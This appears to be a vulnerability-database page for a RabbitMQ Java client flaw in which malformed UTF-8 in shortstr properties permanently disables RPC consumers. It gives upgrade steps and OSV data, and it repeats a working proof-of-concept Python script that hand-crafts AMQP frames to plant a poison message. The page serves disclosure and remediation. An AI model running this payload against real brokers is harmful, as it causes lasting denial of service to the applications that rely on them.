CVE-2026-106122: RabbitMQ Malformed UTF-8 Vulnerability

MODERATE
Advisory Identifier: GHSA-7822-rcf6-97fx
CWE-172 CWE-248
Published
Advisory Summary

CVE-2026-106122 is a MODERATE malformed utf-8 vulnerability (CWE-172: Encoding Error) affecting RabbitMQ libraries in the Maven ecosystem. The issue involves malformed utf-8 in shortstr properties permanently disables rpc consumers. Remediation is available by upgrading affected packages to version 5.36.0.

CVE-2026-106122 at a Glance

CVE Identifier CVE-2026-106122
GHSA Identifier GHSA-7822-rcf6-97fx
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-172: Encoding Error
Affected Product RabbitMQ
Package Ecosystem Maven
Published Date
Last Updated

How to Fix CVE-2026-106122

To remediate this vulnerability, upgrade all affected RabbitMQ dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

com.rabbitmq:amqp-client fixed: 5.36.0
<dependency>
    <groupId>com.rabbitmq</groupId>
    <artifactId>amqp-client</artifactId>
    <version>5.36.0</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=com.rabbitmq

How to Check if You Are Affected

To determine whether your Java application is affected by CVE-2026-106122, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=com.rabbitmq

Analyze the terminal output to locate any version of RabbitMQ in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.36.0), your application is affected.

Note: The mvn dependency:tree -Dincludes=com.rabbitmq command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-172: Encoding Error, where the product does not properly encode or decode the data, resulting in unexpected values. In RabbitMQ, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A single AMQP message with malformed UTF-8 in a shortstr property (for example `correlation-id`) can permanently disable a Java client RPC consumer. The client decodes malformed bytes into U+FFFD replacement characters. Each of those re-encodes to 3 bytes, so a 255-byte property becomes 765 bytes (over the 255-byte shortstr limit). When the application echoes that value back, as the documented RPC pattern does, the encoder throws an unchecked `IllegalArgumentException`. That kills the consumer loop or tears down the channel. The message is never acknowledged, so the broker requeues it and it disables the next consumer that picks it up. Recovery does not help; the service stays down until an operator manually purges the queue. In short: the decoder produces values the encoder rejects, and any client permitted to *use* an RPC service can permanently destroy it for everyone. ### Details `ValueReader.readShortstr` decodes with `new String(b, StandardCharsets.UTF_8)`, which silently substitutes U+FFFD for malformed input: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueReader.java#L69-L75 `ValueWriter.writeShortstr` then rejects the result with an unchecked exception: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueWriter.java#L44-L56 So a value the library itself produced cannot be passed back to the library. Any shortstr property that arrives from the wire and is echoed back (`correlation-id`, `reply-to` used as a routing key, `message-id`, `type`, `app-id`) is affected. Two consumption paths are impacted: 1. **`RpcServer.mainloop()`** catches only `InterruptedException` and `ShutdownSignalException`, so the exception escapes and the loop thread dies silently: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/RpcServer.java#L109-L129 2. **The pattern in the official tutorial** (`basicConsume` + `DeliverCallback`, echoing `correlationId` and publishing to `replyTo`) throws inside the callback, and the channel is closed by the exception handler. This is the more widely used of the two. In both cases `autoAck` is `false` and the ack is never reached, so the message returns to the queue. A related instance exists in the library's own recovery path: `RecordedConsumer.recover()` re-sends the broker-assigned consumer tag, which would hit the same throw if a malicious broker assigned a malformed tag. ### PoC Neither the Java client nor pika can reproduce this: the Java writer rejects oversized strings, and both encode `str` as well-formed UTF-8, which does not expand. The frames must be written by hand. **A triager who tries with a stock client will not reproduce it.** 1. Start a broker: ```bash docker run -it --rm --name rabbitmq -p 5672:5672 rabbitmq ``` 2. Publish a message whose `correlation-id` is 255 × `0xFF`: ```python import socket, struct def sstr(b): if isinstance(b, str): b = b.encode() return struct.pack(">B", len(b)) + b def lstr(b): return struct.pack(">I", len(b)) + b def fr(t, ch, p): return struct.pack(">BHI", t, ch, len(p)) + p + b"\xce" def m(c, mi, a=b""): return struct.pack(">HH", c, mi) + a QUEUE = "rpc.poison" s = socket.create_connection(("127.0.0.1", 5672), timeout=10) def rf(): h = b"" while len(h) < 7: h += s.recv(7 - len(h)) t, ch, sz = struct.unpack(">BHI", h) p = b"" while len(p) < sz: p += s.recv(sz - len(p)) s.recv(1); return t, ch, p def wait(c, mi): while True: t, ch, p = rf() if t == 1 and struct.unpack(">HH", p[:4]) == (c, mi): return p[4:] s.sendall(b"AMQP\x00\x00\x09\x01"); wait(10, 10) s.sendall(fr(1, 0, m(10, 11, struct.pack(">I", 0) + sstr("PLAIN") + lstr(b"\x00guest\x00guest") + sstr("en_US")))) cm, fm, _ = struct.unpack(">HIH", wait(10, 30)[:8]) # must echo broker's limits s.sendall(fr(1, 0, m(10, 31, struct.pack(">H", cm) + struct.pack(">I", fm) + struct.pack(">H", 0)))) s.sendall(fr(1, 0, m(10, 40, sstr("/") + sstr("") + b"\x00"))); wait(10, 41) s.sendall(fr(1, 1, m(20, 10, sstr("")))); wait(20, 11) s.sendall(fr(1, 1, m(50, 10, struct.pack(">H", 0) + sstr(QUEUE) + b"\x02" + struct.pack(">I", 0)))); wait(50, 11) s.sendall(fr(1, 1, m(60, 40, struct.pack(">H", 0) + sstr("") + sstr(QUEUE) + b"\x00"))) props = sstr(b"\xff" * 255) + sstr("some-reply-queue") # correlation-id = bit 10, reply-to = bit 9 s.sendall(fr(2, 1, struct.pack(">HHQ", 60, 0, 6) + struct.pack(">H", (1 << 10) | (1 << 9)) + props)) s.sendall(fr(3, 1, b"poison")) # close cleanly, otherwise the broker may not commit the publish s.sendall(fr(1, 0, m(10, 50, struct.pack(">H", 200) + sstr("done") + struct.pack(">HH", 0, 0)))) wait(10, 51); s.close() print("published to", QUEUE) ``` 3. Run a consumer using the tutorial pattern against `rpc.poison`: ```java DeliverCallback cb = (tag, delivery) -> { AMQP.BasicProperties reply = new AMQP.BasicProperties.Builder() .correlationId(delivery.getProperties().getCorrelationId()).build(); channel.basicPublish("", delivery.getProperties().getReplyTo(), reply, "pong".getBytes("UTF-8")); channel.basicAck(delivery.getEnvelope().getDeliveryTag(), false); }; channel.basicConsume("rpc.poison", false, cb, t -> {}); ``` Observed: ```bash java.lang.IllegalArgumentException: Short string too long; utf-8 encoded length = 765, max = 255. at com.rabbitmq.client.impl.ContentHeaderPropertyWriter.writeShortstr(...) at com.rabbitmq.client.impl.ChannelN.basicPublish(ChannelN.java:753) channel open after: false queue depth after: 1 ``` The same message run against `RpcServer.mainloop()` kills the loop thread instead, and re-kills it on every restart. **Control:** 255 bytes of valid UTF-8 in the same field is handled normally and acked. The trigger is specifically the malformed input. **Negative results, for completeness:** automatic connection recovery does not re-open the channel, so there is no crash loop and no CPU or memory exhaustion. The impact is loss of availability, not resource consumption. ### Impact Denial of service against applications that implement AMQP RPC with this client, including the pattern shown in the official Java RPC tutorial.

CVE-2026-106122 Affected RabbitMQ Versions

1 component(s)
Fixed Versions:
5.36.0
Product / Package Ecosystem Affected Versions Fixed Version
com.rabbitmq:amqp-client
Maven
< 5.36.0
5.36.0

References

Frequently Asked Questions

What is CVE-2026-106122?
CVE-2026-106122 is a security vulnerability in RabbitMQ involving Malformed UTF-8 in shortstr properties permanently disables RPC consumers under CWE-172: Encoding Error.
Which RabbitMQ versions are affected?
Affected versions include releases prior to 5.36.0 across affected packages: com.rabbitmq:amqp-client.
What version fixes CVE-2026-106122?
Upgrading to 5.36.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is amqp-client affected?
Yes, com.rabbitmq:amqp-client is affected in releases prior to 5.36.0. Upgrade your dependency to 5.36.0 or later.
What CWE is associated with CVE-2026-106122?
CVE-2026-106122 is classified under CWE-172: Encoding Error (The product does not properly encode or decode the data, resulting in unexpected values.).
How can I check Maven dependencies for CVE-2026-106122?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=com.rabbitmq'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7822-rcf6-97fx",
  "modified" : "2026-10-07T20:25:29Z",
  "published" : "2026-10-07T20:25:29Z",
  "aliases" : [ "CVE-2026-106122" ],
  "summary" : "RabbitMQ: Malformed UTF-8 in shortstr properties permanently disables RPC consumers",
  "details" : "### Summary\n\nA single AMQP message with malformed UTF-8 in a shortstr property (for example `correlation-id`) can permanently disable a Java client RPC consumer.\n\nThe client decodes malformed bytes into U+FFFD replacement characters. Each of those re-encodes to 3 bytes, so a 255-byte property becomes 765 bytes (over the 255-byte shortstr limit). When the application echoes that value back, as the documented RPC pattern does, the encoder throws an unchecked `IllegalArgumentException`. That kills the consumer loop or tears down the channel.\n\nThe message is never acknowledged, so the broker requeues it and it disables the next consumer that picks it up. Recovery does not help; the service stays down until an operator manually purges the queue.\n\nIn short: the decoder produces values the encoder rejects, and any client permitted to *use* an RPC service can permanently destroy it for everyone.\n\n### Details\n\n`ValueReader.readShortstr` decodes with `new String(b, StandardCharsets.UTF_8)`, which silently substitutes U+FFFD for malformed input:\n\nhttps://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueReader.java#L69-L75\n\n`ValueWriter.writeShortstr` then rejects the result with an unchecked exception:\n\nhttps://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueWriter.java#L44-L56\n\nSo a value the library itself produced cannot be passed back to the library. Any shortstr property that arrives from the wire and is echoed back (`correlation-id`, `reply-to` used as a routing key, `message-id`, `type`, `app-id`) is affected.\n\nTwo consumption paths are impacted:\n\n1. **`RpcServer.mainloop()`** catches only `InterruptedException` and `ShutdownSignalException`, so the exception escapes and the loop thread dies silently:\n   https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/RpcServer.java#L109-L129\n\n2. **The pattern in the official tutorial** (`basicConsume` + `DeliverCallback`, echoing `correlationId` and publishing to `replyTo`) throws inside the callback, and the channel is closed by the exception handler. This is the more widely used of the two.\n\nIn both cases `autoAck` is `false` and the ack is never reached, so the message returns to the queue.\n\nA related instance exists in the library's own recovery path: `RecordedConsumer.recover()` re-sends the broker-assigned consumer tag, which would hit the same throw if a malicious broker assigned a malformed tag.\n\n### PoC\n\nNeither the Java client nor pika can reproduce this: the Java writer rejects oversized strings, and both encode `str` as well-formed UTF-8, which does not expand. The frames must be written by hand. **A triager who tries with a stock client will not reproduce it.**\n\n1. Start a broker:\n\n```bash\ndocker run -it --rm --name rabbitmq -p 5672:5672 rabbitmq\n```\n\n2. Publish a message whose `correlation-id` is 255 × `0xFF`:\n```python\nimport socket, struct\n\ndef sstr(b):\n    if isinstance(b, str): b = b.encode()\n    return struct.pack(\">B\", len(b)) + b\ndef lstr(b): return struct.pack(\">I\", len(b)) + b\ndef fr(t, ch, p): return struct.pack(\">BHI\", t, ch, len(p)) + p + b\"\\xce\"\ndef m(c, mi, a=b\"\"): return struct.pack(\">HH\", c, mi) + a\n\nQUEUE = \"rpc.poison\"\ns = socket.create_connection((\"127.0.0.1\", 5672), timeout=10)\n\ndef rf():\n    h = b\"\"\n    while len(h) < 7: h += s.recv(7 - len(h))\n    t, ch, sz = struct.unpack(\">BHI\", h)\n    p = b\"\"\n    while len(p) < sz: p += s.recv(sz - len(p))\n    s.recv(1); return t, ch, p\ndef wait(c, mi):\n    while True:\n        t, ch, p = rf()\n        if t == 1 and struct.unpack(\">HH\", p[:4]) == (c, mi): return p[4:]\n\ns.sendall(b\"AMQP\\x00\\x00\\x09\\x01\"); wait(10, 10)\ns.sendall(fr(1, 0, m(10, 11, struct.pack(\">I\", 0) + sstr(\"PLAIN\")\n    + lstr(b\"\\x00guest\\x00guest\") + sstr(\"en_US\"))))\ncm, fm, _ = struct.unpack(\">HIH\", wait(10, 30)[:8])   # must echo broker's limits\ns.sendall(fr(1, 0, m(10, 31, struct.pack(\">H\", cm) + struct.pack(\">I\", fm) + struct.pack(\">H\", 0))))\ns.sendall(fr(1, 0, m(10, 40, sstr(\"/\") + sstr(\"\") + b\"\\x00\"))); wait(10, 41)\ns.sendall(fr(1, 1, m(20, 10, sstr(\"\")))); wait(20, 11)\ns.sendall(fr(1, 1, m(50, 10, struct.pack(\">H\", 0) + sstr(QUEUE) + b\"\\x02\"\n    + struct.pack(\">I\", 0)))); wait(50, 11)\n\ns.sendall(fr(1, 1, m(60, 40, struct.pack(\">H\", 0) + sstr(\"\") + sstr(QUEUE) + b\"\\x00\")))\nprops = sstr(b\"\\xff\" * 255) + sstr(\"some-reply-queue\")   # correlation-id = bit 10, reply-to = bit 9\ns.sendall(fr(2, 1, struct.pack(\">HHQ\", 60, 0, 6) + struct.pack(\">H\", (1 << 10) | (1 << 9)) + props))\ns.sendall(fr(3, 1, b\"poison\"))\n\n# close cleanly, otherwise the broker may not commit the publish\ns.sendall(fr(1, 0, m(10, 50, struct.pack(\">H\", 200) + sstr(\"done\") + struct.pack(\">HH\", 0, 0))))\nwait(10, 51); s.close()\nprint(\"published to\", QUEUE)\n```\n\n3. Run a consumer using the tutorial pattern against `rpc.poison`:\n\n```java\nDeliverCallback cb = (tag, delivery) -> {\n    AMQP.BasicProperties reply = new AMQP.BasicProperties.Builder()\n        .correlationId(delivery.getProperties().getCorrelationId()).build();\n    channel.basicPublish(\"\", delivery.getProperties().getReplyTo(), reply, \"pong\".getBytes(\"UTF-8\"));\n    channel.basicAck(delivery.getEnvelope().getDeliveryTag(), false);\n};\nchannel.basicConsume(\"rpc.poison\", false, cb, t -> {});\n```\n\nObserved:\n\n```bash\njava.lang.IllegalArgumentException: Short string too long; utf-8 encoded length = 765, max = 255.\n  at com.rabbitmq.client.impl.ContentHeaderPropertyWriter.writeShortstr(...)\n  at com.rabbitmq.client.impl.ChannelN.basicPublish(ChannelN.java:753)\nchannel open after: false\nqueue depth after: 1\n```\n\nThe same message run against `RpcServer.mainloop()` kills the loop thread instead, and re-kills it on every restart.\n\n**Control:** 255 bytes of valid UTF-8 in the same field is handled normally and acked. The trigger is specifically the malformed input.\n\n**Negative results, for completeness:** automatic connection recovery does not re-open the channel, so there is no crash loop and no CPU or memory exhaustion. The impact is loss of availability, not resource consumption.\n\n### Impact\nDenial of service against applications that implement AMQP RPC with this client, including the pattern shown in the official Java RPC tutorial.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "com.rabbitmq:amqp-client"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.36.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.35.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/rabbitmq/rabbitmq-java-client/security/advisories/GHSA-7822-rcf6-97fx"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-106122"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rabbitmq/rabbitmq-java-client/pull/2065"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rabbitmq/rabbitmq-java-client/commit/b8bd750fa8c90690e859b18d6343b34421309020"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/rabbitmq/rabbitmq-java-client"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rabbitmq/rabbitmq-java-client/releases/tag/v5.36.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-172", "CWE-248" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-07T20:25:29Z",
    "nvd_published_at" : "2026-10-06T19:17:43Z"
  }
}